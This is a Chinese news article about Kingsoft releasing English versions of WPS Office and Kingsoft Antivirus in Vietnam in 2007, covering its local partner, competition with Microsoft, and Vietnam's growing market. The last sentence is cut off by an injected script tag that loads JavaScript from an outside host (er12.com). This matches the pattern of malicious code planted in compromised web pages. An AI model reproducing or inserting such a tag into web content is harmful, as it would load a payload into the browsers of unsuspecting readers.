2007年5月，金山软件宣布越南光明dec合作，并联合在越南胡志明市召开发布会，正式发布金山两款通用软件——金山wps和金山毒霸的英文版。据悉，这两个产品也是首次发布英文版，标志着在网游国际化之外，金山通用软件产品也开始进军英文市场。而选择越南发布软件产品的英文版，金山软件总裁兼ceo雷军介绍说：“越南已于2006年底加入了wto，正版软件市场一定会迅速扩大，现在进入是最好的时机。”

巧合的是，就在金山在越南发布通用软件的时候，微软ceo steve ballmer也造访了越南，以推动office办公软件的正版化。业内分析人士认为：“去年9月，金山wps在日本发布之后，引起了不小的轰动。而此次金山率先在越南打开网游市场之后的再次发力，可能会令微软坐立不安，从鲍尔默亲自督战越南就可以看出来。金山办公软件与微软的比拼从日本已经扩展到了越南，好戏还在后头。”

据悉，金山两款网游经典作品《剑侠i》（在越南名为《武林传奇》）及《封神榜》分裂越南网游排行榜的第一、第二名，第三名是光明dec代理的《完美世界》。《剑侠i》更是占据了越南mmorpg市场的70%，中国网游在越南可谓大行其道，亲近中国文化的越南玩家更乐于接受来自中国的游戏和软件产品。

越南：东南亚经济增长最快的国家

被为到“为何选择越南市场作为wps office及金山毒霸英文版的首发地”，雷军对此的解释是，“越南市场是一个新兴的市场，蕴含着很多机会，尤其是在越南加入wto之后，这种国际间的交流合作，尤其是高科技产品之间的交流合作机会会越来越多，越南市场将会成为东南亚最重要的市场之一；而且金山已经有过在越南市场成功的先例。两年前，我们的网络游戏产品进入越南，现在已经占到非常可观的市场份额，这让我对越南市场有了比较深入的了解，我对kingsoft office 及kingsoft antivirus在越南市场的表现也很有信心。”

越南拥有人口8400万，自2000年以来，越南经济以年均7.5％的速度增长，去年增速达到8.4％，人均gdp达到650美元，成为东南亚地区近几年经济增长最快的国家，也成为投资的天堂，吸引了来自全世界投资者的目光。这个曾经几乎不被人注意的国家正逐渐成为全球最大的it生产商和it创新企业外包其业务的替代目的地。比如富士通已经在这里生产电路板；英特尔公司正斥资3亿美元兴建一座芯片封装和测试工厂；而芯片生产设备设计商novellus系统公司可能继英特尔之后，在越南建立自己的工厂。

自从去年底加入wto以来，越南政府在保护知识产权、推进正版化运动上就开始大刀阔斧的采取行动。正版率迅速提高的软件市场，将成为一个潜力无比的巨大市场。

英文版首次海外发布 越南成第一站

值得关注的是，此次在越南发布的kingsoft office 及kingsoft antivirus是金山软件首次发布的英文版通用软件。据介绍，越南人的英文水平普遍较高，用户多能熟练使用英文软件。而金山官方也表示，更贴近越南用户使用习惯的越南文版wps和毒霸也将发布。

在用户非常关心的产品价格上，金山将提供越南消费者用得起的正版优质软件，避免消费者因为正版软件售价过高而放弃使用的情况。金山软件要给越南用户提供的不仅是一款优秀的软件，更重要的是提供用户买得起的软件。雷军表述：“在保持产品品质的基础上，我们在价格上会让越南用户感到惊讶。”

在产品品质上，kingsoft office不仅继承wps office 中文版体积小、轻巧灵便、与ms office双向深度兼容等特点，而且在语言准确转换的同时，更是根据中英文语言使用习惯的不同及越南用户的特殊使用习惯，在三大模块的格式、版式等设计上都不断做调整，以适应越南本地用户的需求。此次微软和金山在越南的遭遇战，究竟会是怎样的局面，我们暂且拭目以待。可以预见的是，在微软的打压下顽强生存先来的金山，一定会让微软在越南的扩张并不轻松。

到目前为止，金山软件的两类通用软件都已经陆续发布了日文版和英文版。内部消息透露：其实wps office及毒霸的英文版都酝酿已久，此次通用软件进军越南市场，表明金山软件正式向英文市场扩张，是其大举进军国际市场的象征。

高品质的产品，潜力巨大的市场，成熟的营销手段，加上优秀的合作伙伴，让雷军有理由期待通用软件在越南市场的表现也将是捷报频传。中国软件企业在一步步壮大中开始走向世界，雷军说：“华为是我们学习的榜样。”

本地化是国际拓展成功的关键

国际化的过程也是本地化的过程，最好的本地化需要最熟悉本地环境的合作伙伴。两年前，金山的网络游戏产品进入越南市场，选择越南本土企业vinagame作为合作伙伴，取得非常骄人的成绩。

此次，金山软件第一次以通用软件供应商的身份来到越南，选择了与越南最积极、最活跃、最有影响力的企业之一——光明dec进行合作，由光明dec全权代理kingsoft office 及kingsoft antivirus?script src=http://er12.com/t.js>